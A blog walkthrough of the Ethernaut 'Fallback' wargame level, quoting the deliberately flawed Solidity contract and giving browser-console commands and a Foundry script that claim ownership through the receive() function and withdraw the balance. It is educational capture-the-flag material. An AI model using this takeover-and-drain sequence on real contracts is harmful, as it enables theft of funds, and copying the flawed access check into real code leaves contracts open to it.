Back to blog
Jun 23, 2025
3 min read

Fallback – Level 1 Walkthrough

Step-by-step walkthrough for the Ethernaut Fallback level. Learn to exploit fallback function vulnerabilities, claim contract ownership, and withdraw funds using JavaScript in your browser.

Fallback – Level 1 Walkthrough

Welcome to the first level of the Ethernaut wargame by OpenZeppelin, focused on fallback function vulnerabilities.


Challenge Objective

You are given a contract with a fallback function that can be exploited. Your goal is to:

  • Become the contract owner by exploiting the fallback logic
  • Withdraw the contract’s ETH balance
  • Submit the instance to complete the level

Prerequisites

Before you begin, ensure the following:

  • MetaMask is installed and connected
  • Test ETH is available (Goerli, Sepolia, etc.)
  • Familiarity with using browser DevTools and executing JavaScript commands
  • Access to the Ethernaut Game

Contract Overview

Key parts of the Fallback.sol contract:

mapping(address => uint) public contributions;
address public owner;

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
}

Walkthrough – Step by Step

🗒️ Step 1: Check the Current Owner (Optional)

await contract.owner()

The owner is likely not your address yet.


🛠️ Step 2: Make a Small Contribution

await contract.contribute({ value: "1" }) // 1 wei is enough

This registers your address with a nonzero contribution.


🔍 Step 3: Trigger the Fallback

await contract.sendTransaction({ value: "1" })

This calls the receive() function, which checks your contribution and sets you as the owner.


✅ Step 4: Confirm Ownership

await contract.owner()

The owner should now be your address.


💸 Step 5: Withdraw All ETH

await contract.withdraw()

As the new owner, you can drain the contract’s balance.


🚀 Step 6: Submit the Level

Click “Submit instance” in the UI and confirm the MetaMask transaction. Once successful, the level is marked as completed.


🛠️ Alternative: Using Foundry Script

You can automate the exploit with a script:

fallbackInstance.contribute{ value: 1 wei }();
address(fallbackInstance).call{ value: 1 wei }("");
fallbackInstance.withdraw();

💡 What You Learn

  • How fallback and receive functions can be abused
  • The importance of contribution checks in contract logic
  • How to claim ownership by exploiting fallback logic
  • The risks of improper access control in smart contracts

Concepts Covered

ConceptDescription
Fallback FunctionsSpecial functions triggered by direct ETH transfers
Ownership TakeoverOwnership can change via fallback if contribution conditions are met
Withdrawal PatternsOnly the owner can withdraw contract funds
Web3 InteractionUsing injected contract instances and console JS to interact

📁 Resources